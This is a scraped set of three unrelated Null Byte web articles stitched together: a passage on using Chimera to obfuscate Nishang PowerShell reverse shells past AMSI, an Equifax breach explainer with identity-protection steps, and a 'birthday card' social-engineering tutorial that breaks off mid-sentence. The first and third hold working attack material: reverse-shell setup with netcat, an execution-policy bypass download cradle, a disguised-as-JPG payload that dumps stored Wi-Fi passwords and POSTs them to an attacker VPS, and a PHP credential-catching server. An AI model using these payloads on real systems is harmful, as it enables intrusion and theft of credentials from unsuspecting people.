-rwxrwx--- 1 user user 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 user user 734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 user user 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 user user 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 user user 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 user user 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 user user 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxr-xr-x 2 user user 4096 Aug 30 18:53 misc
-rwxrwx--- 1 user user 616 Aug 29 22:02 powershell_reverse_shell.ps1
shells/misc:
total 36
-rwxrwx--- 1 user user 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 user user 3648 Aug 12 19:53 Get-Information.ps1
-rwxrwx--- 1 user user 672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 user user 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 user user 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1Before using the scripts, change the hardcoded IP addresses (192.168.56.101) to your Kali address. To find your internal IP address, useip -c aand look for the 192.168.X.X address. If you don't see one of those, your Kali system is probably set up using NAT. You'll want to power off the VM anduse a host-only network configuration./opt/chimera$ sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1The default port with all of the scripts is4444. Usesedagain to change them if needed./opt/chimera$ sed -i 's/4444/<YOUR-DESIRED-PORT>/g' shells/*.ps1Now, use the following command to obfuscate one of the available scripts with Chimera./opt/chimera$ ./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -o /tmp/chimera.ps1 -g -v -t -j -i -c -h -s -b -e
_____________________________________________________
░░░░░░ ░░ ░░ ░░ ░░░ ░░░ ░░░░░░░ ░░░░░░ ░░░░░
▒▒ ▒▒ ▒▒ ▒▒ ▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒ ▒▒ ▒▒
▓▓ ▓▓▓▓▓▓▓ ▓▓ ▓▓ ▓▓▓▓ ▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ ██
_____________________________________________________
░ by @tokyoneon_A lot is happening in the command. I'll briefly breakdown each argument, butreview the usage guidefor an in-depth explanation andcheatsheetfor examples. Also, remember to use--helpfor broader descriptions.-f: The input file.-o: The output file.-g: Omit several Nishang-specific characteristics from the script.-v: Substitute variables names.-t: Substitute data types.-j: Substitute function names.-i: Insert arbitrary comments into every line.-c: Replace comments with arbitrary data.-h: Convert IP addresses to hexadecimal format.-s: Substitute various strings.-b: Backtick strings where possible.-e: Examine the obfuscated file when the process is complete.Step 3: Get a ShellIn a new terminal, start aNetcatlistener to receive incoming connections. Be sure always to use-vas some of the scripts don't produce a shell prompt when a new connection is established.~$ nc -v -l -p 4444
listening on [any] 4444 ...Move thechimera.ps1file from Kali to a local Windows 10 machine. Then, open a PowerShell terminal and execute the file with the following command.PS> powershell.exe -ep bypass C:\path\to\chimera.ps1Back in Kali, thencterminal will produce the following output — with no complaints from AMSI.~$ nc -v -l -p 4444
listening on [any] 4444 ...
192.168.56.105: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.107] from (UNKNOWN) [192.168.56.105] 49725
Windows PowerShell running as user on
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\target>AMSI Is Great but Not Hacker-ProofCreating defensive security tools is no easy feat. Microsoft's Antimalware Scan Interface is a perfect example of that. A motivated attacker will always find a way to slip past security. In the case of Chimera, it merely breaks strings into many pieces and reconstructs them as variables. Other projects likeInvoke-Obfuscationtake evasion to a masterful level.Follow me on Twitter@tokyoneon_andGitHubto keep up with my current projects. And for questions and concerns, leave a comment or ping me on Twitter.Don't Miss:Dump NTLM Hashes & Crack PasswordsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo, screenshots, and GIF bytokyoneon/Null ByteRelatedAntivirus Bypass:Friendly Reminder to Never Upload Your Samples to VirusTotalHacking macOS:How to Create an Undetectable PayloadHeart Patients Beware:More Than One-Third of Bypass Equipment Potentially Contaminated with Deadly BacteriaHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1How To:Bypass Antivirus Using Powershell and Metasploit (Kali Tutorial)SQL Injection 101:How to Avoid Detection & Bypass DefensesThe Hacks of Mr. Robot:How Elliot & Fsociety Destroyed Evil Corp's DataHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHow To:Re-Enable a Semi-Tethered Jailbreak to Restore Access to SileoHack Like a Pro:How to Evade AV Software with ShellterHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHack Like a Pro:How to Evade AV Detection with Veil-EvasionHow To:Bypass and change a Windows XP start-up passwordHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)How To:Security-Oriented C Tutorial 0xFB - A Simple CrypterHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 3 (Creating a Malware Signature in ClamAV)How To:Customize Your iPhone's Email Signature—The Ultimate GuideHow To:Check Your MacOS Computer for Malware & KeyloggersBotnets and RATs:Precautionary Measures and Detection (Part 2)News:Chinese Hack of U.S. Employment Records Reveals the Weakness of Signature-Based Defense SystemsHow To:Bypass the Password Login Screen on Windows 8How To:Bypass Candy Crush Saga's Waiting Period to Get New Lives & Levels ImmediatelyHow To:Use Adobe Fill & Sign to Electronically Fill Out & Sign Important Forms on Android or iOSHow To:Add Hyperlinks to Your Emails in Spark for Cleaner-Looking MessagesHow To:Check if Third-Party Apps Are Safe to Install on Your MacHow To:The Essential Skills to Becoming a Master HackerHow To:The Hacks Behind Cracking, Part 1: How to Bypass Software RegistrationNews:Amazing 3D Object DetectionNews:10 iPhone and Android Apps for Taking Self-PortraitsNews:Minority Report, Kinect-style |
How to Protect Your Identity After the Equifax Cyberattack « Null Byte :: WonderHowTo | Equifaxreported onSept. 7that it discovered a breach on July 29 which affects roughly half of Americans, many of whom don't realize they have dealings with the company. Hackers got away with social security numbers, addresses, and driver's license numbers, foreshadowing a "nuclear explosion of identity theft." Let's explore what really happened and what you and those around you can do to protect yourselves.We will work to keep this article up to date with information on the security breach as the details become more clear over the next few days. For some guidance on the severity and impact of this breach that affects so many people, let's go to the Equifax press conference.Sorry, that was an executive summary of theEquifax's response so far. Suffice it to say, it is not going well. Here is the actual way they chose to inform customers about the breach.How Bad Is the Breach?Data breaches come in different forms and sizes, and some are worse than others. Those that involve identity information are bad, but what's worse is when hard to change information like someone's social security number is involved. People thought it was bad when health insurerAnthem got hacked and lost 80 million current and former customers data in 2015. Now enter Equifax, with it's data breach of 143 million Americans information (which equals approximately half the US population) and one can see whyMorgan Wright described it to Fox Businessas "the nuclear explosion of identity theft."This is not the worst breach of all time by a long shot in terms of pure numbers. That distinction goes to Yahoo ... They had a leak involving more than a billion users.But this leak is particularly worrisome because Equifax is a credit reporting service and tracks a history of your consumer life, credit cards, credit scores and more — and it gives the black market a potential gold mine of information about people's financial lives.—Ron Miller, TechCrunchIf you are concerned about how many times your identifying information may have been leaked in major hacking attacks in the last four years, there are tools to help you find out. You can check outHave I Been Pwned, as well asThe New York Times tool.How Did the Hackers Breach Equifax?On July 29, 2017, Equifax uncovered a vulnerability, saying that hackers "exploited a U.S. website application vulnerability to gain access to certain files." It is now believed, based on thefollowing report, that the vulnerability was a part of an open-source Java web application building framework called Apache Struts.Thanks to its open-source nature, Struts has become wildly popular with Fortune 100 companies where 65 percent of them use it including Lockheed Martin, Citigroup, Vodafone, Virgin Atlantic, Reader's Digest, Office Depot, and Showtime. Unfortunately for them, and Equifax in particular, 2017 has already seen at least two vulnerabilities in Struts discovered, one in March and another on Sept. 4. However, it's unclear which of these vulnerabilities the hackers may have used.Thevulnerability revealed on Sept. 4by Security researchers at lgtm has existed in Struts since at least 2008.This particular vulnerability allows a remote attacker to execute arbitrary code on any server running an application built using the Struts framework and the popular REST communication plugin. The weakness is caused by the way Struts deserializes untrusted data.—Bas van Schaik, lgtmTo take advantage of this issue, all one needs is a browser, an internet connection, and some very basic information about how the bug works. You can learn more about how this vulnerability was discovered by readingMan Yue Mo's blog post on lgtm. This vulnerability has been patched by Struts in its most recent updates, 2.3.34 and 2.5.13.The March exploit for a critical Apache Struts vulnerability being used.Image viaKevin BeaumontThe older March vulnerability can befound on Rapid7's Vulnerability and Exploit Database. It is equally as bad, making it trivial to hack and run any command you want to on a Struts system. This vulnerability allows a hacker to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header. This works because of the way that the Jakarta Multipart parser mishandles file uploads.What this all means is that the hackers had two vulnerabilities in the Struts system to chose from. TheBaird Equity Research report, however, only states that they used "a vulnerability," so it's unclear which one the hackers employed. The hackers proceeded to use the vulnerability to steal the sensitive data of 143 million unsuspecting Americans, which could have allowed them to delete data as well.How Is Equifax Handling the Breach?Once Equifax discovered the breach, they hired a "leading, independent cybersecurity firm" to perform aforensic reviewand discover the size and scope of the breach. Equifax then waited over a month, until September 7, to disclose the breach to the public. They didn't say why they waited so long, but it isn't uncommon for companies to do the same when they are in similar situations. It is possible that they waited at the request of law enforcement so that the law had time to work before the hacker knew they were discovered. To learn more about why it can take so long to disclose a breach publically,The Washington Post sums it up nicely.Meanwhile, three senior executives went about selling their Equifax shares, worth almost $1.8 million, before the hack went public. This turned out to a good idea, as Equifax Inc. (EFX)lost nearly 14 percent of its valueor $2 billion on Friday, Sept. 8, after the news broke. The company claims that the three had no knowledge of the hack, and the sales only represented a small portion of each individual's stock portfolio. Regardless, the action seems very suspicious, and undoubtedly will be investigated further.What Information Was Involved in the Breach?According to Equifax's official statement, a lot of information has been compromised.Most of the consumer information accessed includes names, Social Security numbers, birth dates, addresses, and in some instances, driver's license numbers. In addition, credit card numbers for approximately 209,000 consumers and certain dispute documents, which included personal identifying information, for approximately 182,000 consumers were accessed. In addition to this site, Equifax will send direct mail notices to consumers whose credit card numbers or dispute documents with personal identifying information were impacted. We have found no evidence of unauthorized access to Equifax's core consumer or commercial credit reporting databases.—EquifaxWhat Can You Do to Respond?Not all data breaches are alike, and this one poses a unique challenge. Not all of the people affected may be aware. Credit card companies, banks, retailers, and lenders all send massive amounts of data to companies like Equifax. In addition to this, they also leverage public records, which means that some of your data could have been revealed without you having ever directly dealt with Equifax. In fact, it is likely that many millions of people will find themselves in that exact situation of having never dealt directly with Equifax, but still having their information stolen.Often, us Null Byte readers are the first to explain these kinds of attacks to the less tech-savvy family members, friends, and coworkers. Below, we will look at some of the steps you can take to secure the identities of yourself and your loved ones in the wake of this incident.Step 1: Decide if You Want TrustedID PremierEquifax is attempting to provide some consolation to customers in the form of a free year of its TrustedID Premier service, which will provide credit monitoring, reports, and $1M Identity Theft Insurance.The Fine PrintBut what's this in the terms of service? When Equifax set uptheir toolthat people could use to see if they were affected, theterms of usefor TrustedID stated the following:No Class or Representative Arbitrations.This arbitration will be conducted as an individual arbitration. Neither You nor We consent or agree to any arbitration on a class or representative basis, and the arbitrator shall have no authority to proceed with arbitration on a class or representative basis. No arbitration will be consolidated with any other arbitration proceeding without the consent of all parties. This class action waiver provision applies to and includes any Claims made and remedies sought as part of any class action, private attorney general action, or other representative action. By consenting to submit Your Claims to arbitration, You will be forfeiting Your right to bring or participate in any class action (whether as a named plaintiff or a class member) or to share in any class action awards, including class claims where a class has not yet been certified, even if the facts and circumstances upon which the Claims are based already occurred or existed.The legalese above required that you sign away your right to sue Equifax, instead agreeing to mandatory arbitration, which is aquestionable tactic with a checkered pastbecause of how it bans you from being a part of a class-action lawsuit. The Consumer Financial Protection Bureau recently put in a ruleto ban these types of clauses.After the debacle described, above Equifax issued a new statement that attempts to clarify the arbitration clause, which you can see below.To confirm, enrolling in the free credit file monitoring and identity theft protection products that we are offering as part of this cyber security incident does not prohibit consumers from taking legal action ... to be as clear as possible, we will not apply any arbitration clause or class action waiver against consumers for claims related to the free products offered in response to the cybersecurity incident or for claims related to the cybersecurity incident itself.—EquifaxYou would think that Equifax would have thought about this sort of thing in the month it had to prepare. Apparently, it just slipped their mind. There is already at least oneclass-action lawsuit already in the works, so you're chances of joining one now are good.If you do decide to use TrustedID Premier, thenfollow this linkand fill in your last name and last 6 digits of you social. After that confirm your human status.Looks like Hoid is home free.Nice, it doesn't look like Hoid was affected. But what about Mr. Test, and his social security number containing last six digits 123456?Looks like this fake made up name wasn't so lucky. So much for accurate results.Mr. Test, you poor unfortunate soul! In either case, you can still click the Enroll button, and get a less-than-useful date a week or more from now to actually enroll. Better hope you remember, because you aren't going to get a reminder. On your enrollment date, head tothis pageto finish enrolling by November 21, 2017.Step 2: Activate Your Free Fraud Alert & Freeze Your CreditWhat is a credit freeze, and what is an alert? When you freeze your credit, anyone trying to open credit will be asked for a PIN, which you set over the phone when you freeze it. A fraud alert is similar; credit card companies must verify your identity before opening an account.If you found that your data was breached in the last step, then you will want to activate a fraud alert. This is is free and easy. Even if your data wasn't hacked, yet you still may want to do this. The service is free, and offered by all the major credit reporting agencies. You can find theform on TransUnion, but remember to only do it with one of the companies. Click on the "place a fraud alert" button and follow the steps provided. This puts a flag on your identity, which makes it much more difficult to defraud. You may also be interested inKrebs on Security's more detailed article on the subject.To freeze your credit, you can call the numbers below and set a PIN.Equifax: 1-800-349-9960Experian: 1-888-397-3742TransUnion: 1-888-909-8872Equifax Secure 'PINs' Are Basically Just a DatestampWhen you freeze your credit files with Equifax, it gives you a PIN. However, they don't use a strong PIN, which should be treated just likemaking a strong password. It would be easy for Equifax to use a random number generator for its PINs, but instead, it uses the date and time of your freeze with the format MMDDyyHHmm. And as pointed out in a Twitter post byTony Webster, they have been using this format for over a decade.This makes it very easy for a hacker to brute-force the PIN. At ten digits long, you have a one in ten billion chance to pick the right one, but by using this format, the odds are closer to one in 5,000. Let's look at why.Since there are only 12 months, the first number is limited to 0 or 1, and then since no month has more than 31 days, the third number will never be more than 3. You can continue to reduce the possibilities by discounting PINs before the Sept. 8, because no one knew about the hack yet. This leaves you with a fairly easy number set that can be quickly brute-forced. That being said, you can still freeze with the other two credit agencies, and put out a fraud alert.Step 3: Monitor Your Own CreditYou may not realize it, but each of the major credit reporting agencies (Equifax, Experian, and TransUnion) offers you a free credit report once per year. We can use this cleverly to check our credit for free every 4 months with a different credit agency. If you want more detailed information,USA.govdescribes how the process works.To actually check our credit, we need to go tothis page. The link will behere if you live in the UK. You'll have to fill out a bunch of personal information and complete a captcha. After this, you will be taken to the following page.The best idea would be to pick only one of the three, and then come back and do the same process every 4 months. Look for anything out of the ordinary when you get your report, such as new accounts you didn't open, late payments, debts you don't recognize, and so on. Even if the credit report comes back clean, remain vigilant.Step 4: Monitor Your StatementsYou shouldn't have to be told this one, but as a friendly reminder, check your credit card and bank statements. Try to recall all of the transactions you've made — do any of them look out of the ordinary?Step 5: Social Networks and Operational SecurityThis one is simple, if you're putting all your information on Facebook, Twitter, Instagram, and other social media then you are just making the identity thief's job super easy. First and foremost, set stricter privacy settings. For example, on Facebook, strongly consider limiting all the bio information you can to "friends only." Your birthday, hometown, and other information can be used against you, to create new accounts and solve security questions.Step 6: Report Identity TheftIf you do discover evidence that your identity has been stolen, such as open credit cards, loans, or re-opened accounts, then immediately alert your bank and credit card companies. You are not responsible for fraudulent charges, as long as you report them. Additionally, you will want to go andreport it to the Federal Trade Commission.It's hard to quantify the damage a breach like this can do, as often the worst is not apparent until much later, when identity thieves assume everyone has moved on and forgotten about the breach. We hope that this article gives you a better understanding of what happened, and what you can do to secure your identity, and help explain those things to anyone who may not understand the kind of impact this may have on them.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via123RF; Screenshots by Hoid/Null Byte (unless otherwise noted)RelatedHow To:Protect yourself from identity theft on FacebookHow To:Keep your identity safe from thievesHow To:Recover if you have been a victim of identity theftHow To:Prevent someone from stealing your identityHow To:Prevent identity theft and know how thieves workHow To:Blur out a face in your video using Wax 2.0How To:Blur faces to protect identities in MotionHow To:15 Million T-Mobile Customers Hacked—Here's How to Protect Yourself from Identity TheftApple Pay Cash 101:How to Verify Your Identity with AppleHow To:Make a super hero mask prop for a film or HalloweenHow To:Keeping Your Hacking Identity SecretHow To:Make a Fake IdentityHow To:Pixelize an image in PhotoFiltre (GMask)How To:Change your IP address from the Windows command lineHow To:Spot Fake Businesses & Find the Signature of CEOs with OSINTHow To:Prove some random trigonometric identitiesHow To:VeePN Keeps Your Online Identity Safe & Secure While You Browse the InternetHow To:Access the Dark Web While Staying Anonymous with TorHow To:Solve math problems involving the identity property of oneHow To:Preserve identity with PhotoshopHow To:Add YouTube Channel ArtHow To:Verify trigonometric identitiesHow To:Hack WPA wireless networks for beginners on Windows and LinuxNews:'Hackers-for-Hire' Attempted to Steal Baidu's Self-Driving Car SecretsTypoGuy Explaining Anonymity:Your Real IdentityHow To:Strengthen your credit scoreHow To:Inside Bitcoin - Part 1 - Bitcoin and AnonymityHow To:Become Anonymous & Browse the Internet SafelyHow To:This Extensive Python Training Is Under $40 TodayNews:Mastercard, Qualcomm-Powered ODG Smartglasses Use Iris Authentication for AR ShoppingNews:Admin's Cards, in BoxesNews:Should Google+ Require You to Use Your Real Name?News:Pariah - Movie Trailer & PosterNews:Norden Bombsight Official video - Help DeskHow To:Permanently Erase Data So That It Cannot be RecoveredDeal Alert:VPN Unlimited Is Only $39 Right Now for a Lifetime LicenseHow To:Effectively Disguise Yourself and Keep Your Identity SecretHow To:Get the 'Vamp Eyer' Achievement in Metal Gear Solid 2: Sons of Liberty HDNews:LEGO Tron QuorraHow To:Create a Fake Online Identity for Website Registrations in Just One Click |
How to Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 1 (Creating the Payload) « Null Byte :: WonderHowTo | With an ordinary birthday card, we can introduce a physical device which contains malicious files into someone's home and deceive them into inserting the device into a computer.In mylast series, we used a Post-it note to trick a neighbor into visiting a website that we control. This kind of attack required a lot ofreconnaissanceto successfully identify the neighbor's name. It also required the target user to manually download a file to their computer. The other potential downside to the attack is that the target may become aware that they're the center of attention.We generally want to compromise a target in as few steps as possible, so asking our intended target to visit a websiteanddownload a fileandopen the file might be a stretch depending on how technically savvy they are.Don't Miss:How to Hack Your Neighbor with a Post-It NoteThis time around, we'll take things a step further and learn how to get a physical device past someone's front door and into their home with just a few tricks, and we'll simplify the payload process by including it in the delivery.Understanding This Greeting Card AttackLet's first take a look at the attack scenario overview to better understand how this hack works. Our goal is tosocial engineersomeone into inserting an SD card into a computer. This can easily be done against our neighbors next door. When the fake "photo" we make on the SD card is opened, our payload will execute, collect the device Wi-Fi credentials, and send the data to a server that we control.However, not all computers come equipped with SD card slots, and not everyone has an external card reader or digital camera that can act as one. It's certainly possible to substitute the SD card with a USB flash drive, but it's not unusual to assume there are pictures on an SD card as all popular digital cameras use them.In the first part of this series, we'll start with a bit of hardware reconnaissance. It's always important to do some kind of hardware recon before creating a payload. This will help us decide what kind of operating system we're most likely up against. Then, we'll create a payload on an SD card and set up a Virtual Private Server (VPS) to receive the Wi-Fi credentials.In thesecond part of this tutorial, we'll convert the payload to an executable and modify the icon to make it appear to be a normal JPG image. When that's done, we'll talk about inscribing a greeting card with an enticing note to trick the target into opening files on the SD card, then discuss when and how to deliver the card, as well as protections you can utilize to make sure you don't fall victim to this attack.The real-world applications for this kind of attack are limitless. Using a greeting card or any kind of personalized delivery system to social engineer a target into inserting a device into their computer can be used against major corporate companies, small businesses, and average everyday computer users. Last month,Taco Bellshowed how a bare manila envelope was enough to get someone to insert a USB drive into their computer, but we're going to have some fun here.Step 1: Discover Their Hardware InformationIdentifying devices connected to the target wireless network is important to the success of this attack and has been covered several times on Null Byte before. I suggest usingthe Airodump-ng method I showed in the Post-it note hack, but you can also use theKismet methodto monitor hardware and enumerate operating systems connecting to the network. Once you have some MAC addresses, you just need tocheck them onlineto see what manufacturers they match up with.More Info:How to Use Airodump-ng to Find Hardware InformationA Dell or Hewlett-Packard MAC address would be a strong indicator of a Windows computer on the network. If many Apple MAC addresses are discovered, then there are probably MacBooks and iPhones connecting to the network. In that scenario, you would have to generate some kind of Apple-specific payload. For the remainder of this article series, we'll focus on targeting Windows computers as Windows is the most popular desktop operating system in the world.Step 2: Find the Right Storage DeviceFor the payload used in this tutorial, a small 128 MB SD card will be more than adequate. If you're using the social-engineering method in this article but are opting to use your own custom payload type, be sure to usean SD cardappropriately sized to meet your needs. If you're using aUSB flash drive, 1 GB would be enough, if you can even find one that small by itself.When testing this hack, I used a very cheap and genericmicroSD cardwhich was collecting dust on my desk. Remember, we'll never use or see this SD card again so don't break the bank trying to get something high-end.If you believe your target is tech-savvy and would understand the difference between a cheap and high-end SD card, you won't be able to convince them there's an interesting 4K video on a 128 MB card. It's just not possible. In that case, you might have to invest in something higher quality to keep your imaginary social engineering scenario in the realm ofprobable. Also, if you use a microSD card, as I did, remember to include anSD card adapteras shown in the image below.Image by tokyoneon/Null ByteMicroSD cards are smaller and most computers and laptops don't support microSD slots, so be sure to include an adapter. Cameras and smartphones will likely have a microSD card slot, but these are not our target devices, though, they can be used as an impromptu card reader, though it's unlikely they would be used that way.Step 3: Give the Storage Device a Unique NameWhen you insert the SD card or USB drive into your computer for the first time, it will likely be named automatically to something generic. Rename your storage device to something very unique like "SanDisk07595," "HAPPY_BDAY," or something relevant to what you will write in the greeting card. This will allow the payload to easily locate the drive letter of the storage device when it's inserted into a computer.If the storage device name is too generic like "SD," and there's already a device named "SD" connected to the target computer, it will cause complications when executing the payload. Be sure to give the SD card a memorable unique name.In Windows, you can change the name of connected SD card or USB drive by right-clicking on the device and clicking "Rename." On a Linux system, open up the "Disks" application, select the drive, click on the cogs icon, then "Edit Filesystem." For this tutorial, I'll be using images of cats, so I'll name my SD card "CATZ."Step 4: Set Up Your VPSIn order to get the Wi-Fi credentials from our payload that we're making, we'll need a VPS to receive and store the data. There are plenty of VPS providers available across the web, such asOVH,VPSdime,VPS.net, andVultr, but I'll be usingDigitalOcean. If you're more comfortable with another VPS provider, feel free to set up a Debian or Ubuntu VPS using your preferred provider.DigitalOcean's cheapest $5/month plan will work just fine for this hack. To connect to your new DigitalOcean server, enter the below ssh command into a terminal window.ssh root@Your-VPS-IP-HereNow that we have our VPS up and running, we'll need to install PHP. This will allow us to create a simple PHP server to receive or "catch" the credentials after they've been sent from the compromised computer.To install PHP, run theapt-getcommand below.sudo apt-get update && sudo apt-get install phpSome distributions force install Apache along with PHP, so be sure to stop any web servers that might be running after installing PHP.sudo apachectl stopWith that done, we can start our PHP server. We'll need this server running 24/7 to host our payload and receive the Wi-Fi credentials when someone opens a file on the SD card or USB drive. To start, make a directory called "phpServer" using the belowmkdircommand.mkdir phpServerThen, we'll change into the phpServer directory using thecdcommand, and create a file called "index.php" usingnano.cd phpServernano index.phpWe'll then paste the below PHP script into the nano terminal. Once that's done, to save and exit the nano terminal, pressCtrl+X, thenY, thenEnter.<?php
$file = $_SERVER['REMOTE_ADDR'] . "_" . date("YmdHisms") . ".credz";
file_put_contents($file, file_get_contents("php://input"));
?>This is a very simple PHP server and you don't need to modify a single line for it to work. When our payload is executed on the compromised device, it will send the Wi-Fi credentials to this PHP server and be automatically saved to a ".credz" text file.To start the PHP server, use the below command.sudo php -S 0.0.0.0:80 &The-Stells PHP to start a web server, while0.0.0.0tells PHP to host the server on every interface on the VPS. Doing this will allow any device in the world to access files hosted on our PHP server. The80is the listening port number. By default, all web server and browsers use port 80 with HTTP servers. To keep the server from stopping when we kill our SSH connection, we'll use&at the end of the command to tell the terminal to start the PHP server to a background process. This is the quick and dirty way of keeping our server online long after we close our SSH session.To verify your PHP server is working, you can use the below cURL command from any Unix-like computer in the world.curl --data "tokyoneon was here!" http://Your-VPS-IP-Here/index.phpThe--dataargument will send the "tokyoneon was here!" text to the PHP server similar to how the payload sends Wi-Fi credentials. Of course, this can say anything you want. After you run the cURL command, there should be a newly created file in the phpServer directory. Use thecatcommand to read the file contents as I did in the above screenshot.That's as far as we'll go with the VPS for now. We'll come back in a bit, as we need to save the payload to the phpServer directory.Step 5: Understand How the Payload Will WorkLet's begin talking about the payload and have a look at what the target user will see when they view content on the SD card or USB flash drive enclosed in the greeting card package. One of the "fatcat" photos in the below GIF is a malicious file I created and modified to appear as a normal photo. Can you tell which file is a real photo and which is a payload?Cat image found at Flickr byCharles Nadeau(CC BY 2.0).Clicking on either the real cat photo or the payload will cause the cat photo to open. The Windows operating system, going as far back as Windows XP, hides file extensions by default. At a glance, it's not possible to determine whether the files we're looking at are actually image types or executables. This is possibly one of the greatest design flaws of the Windows operating system and a security issue that may never be properly addressed.It's possible to change the default file manager layout, however. Viewing the files using the "Details" or "Content" layout will show one of the images as an application. The 6 other file manager layouts will not display information that would indicate the executable is not actually an image. Even still, some people might not even pay attention to the file types being displayed right in front of them.What Is PowerShell?PowerShellis a scripting language that Microsoft developed to help IT professionals configure systems and automate administrative tasks. Hackers have been using and abusing PowerShell to achieve their goals since 2006 when it was introduced into the Windows XP and Vista operating systems.The executables (or fake photos) on the SD card or USB drive will contain "Stage 1" of the attack. The first stage is a simple PowerShell one-liner that invokes an HTTP request and downloads the larger PowerShell script ("Stage 2") from our VPS. The larger script is the actual payload that grabs Wi-Fi passwords and sends them to our VPS.Don't Miss:Getting Started with Post-Exploitation of Windows Hosts Using PowerShell EmpireThe PowerShell payload featured in this article is different from theHTA payloadused in our previous Post-it note hack. This payload requires minimal user input for the payload to execute. The target user does not need to click "OK" or allow any specialUAC conditions. Simply double-clicking on the fake "image" will invoke the PowerShell script.1. What the Stage 1 Script Looks LikeHere's what the "Stage 1" script looks like, the one that will be loaded onto the storage device that the target will receive:powershell -ExecutionPolicy Bypass "IEX (New-Object Net.WebClient).DownloadString('http://YOUR-VPS-IP-HERE/payload.ps1');"It's very simple and small. All it does is fetch and automatically execute the larger PowerShell script being hosted on our VPS.Windows operating systems sometimes have restrictive PowerShell execution policies which can cause our scripts to fail. This creates a small obstacle for hackers and systems administrators alike. Fortunately, there aremany ways of bypassing this. The-ExecutionPolicy Bypassargument used in the "Stage 1" PowerShell script will allow us to easily bypass any execution policies enabled on the target device.2. What the Stage 2 Script Looks LikeHere's what the larger, "Stage 2" script looks like:Add-Type -AssemblyName System.Web;$yourVPS="http://YOUR-VPS-IP-HERE/index.php";$SDname = (gwmi win32_volume -f 'label=''SD-CARD-NAME-HERE''').Name;Invoke-Item -Path ("$SDname" + "REAL-IMAGE-NAME-HERE.png");Foreach ($path in [System.IO.Directory]::EnumerateFiles("C:\ProgramData\Microsoft\Wlansvc\Profiles","*.xml","AllDirectories")) {Try {$oXml = New-Object System.XML.XMLDocument;$oXml.Load($path);$ssid = $oXml.WLANProfile.SSIDConfig.SSID.name;$netinfo = netsh.exe wlan show profiles name="$ssid" key=clear;$pass = (($netinfo | Select-String -Pattern "Key Content") -split ":")[1].Trim();$sendData += "SSID: " + ($ssid) + "`n" + "PASSWORD: " + ($pass) + "`n`n";} Catch {}}Invoke-WebRequest -Uri $yourVPS -Method 'POST' -Body $sendData;Step 6: Create the Stage 2 Script on Your VPSWe'll go over what the "Stage 2" script does in moment but first we'll need to save this PowerShell payload to the phpServer directory we created earlier. SSH back into your VPS andcdback into yourphpServerdirectory.ssh root@Your-Server-IP-Addresscd phpServerYou can usenanoagain to create a file called "payload.ps1."nano payload.ps1Before closing and saving the nano terminal, there are 3 lines you'll need to modify:Change "YOUR-VPS-IP-HERE" to the actual IP address of your VPS. This will tell the PowerShell payload where to send the Wi-Fi credentials after they've been discovered.Change "SD-CARD-NAME-HERE" to the name of your SD card or USB drive. I named my SD card "CATZ." This is the line of PowerShell that searches the target computer for the drive letter belonging to your storage device.Change "REAL-IMAGE-NAME-HERE.png" to the file name of an actual image on the root of the SD card or USB flash drive. This will cause the real image to open when the payload is opened. This step isn't absolutely necessary, but it will certainly help diminish suspicion when someone clicks on the payload. If you want to skip this step, you'll have to remove the 2 lines of the PowerShell script that look for the storage device name and opens the image.To save and exit the nano terminal, pressCtrl+X, thenY, thenEnter. You should now have "payload.ps1" and "index.php" files in your phpServer directory.What the Stage 2 Script Actually DoesLet's reiterate what the "Stage 2" PowerShell script will do, just to make sure it's completely clear.First, it will find the drive letter of the SD card and open a real image on the card. Doing this will prevent the target user from becoming suspicious of images that don't actually open.Then, the PowerShell script will loop through all of the Wi-Fi network SSID names stored on the computer (found in the XML documents in the 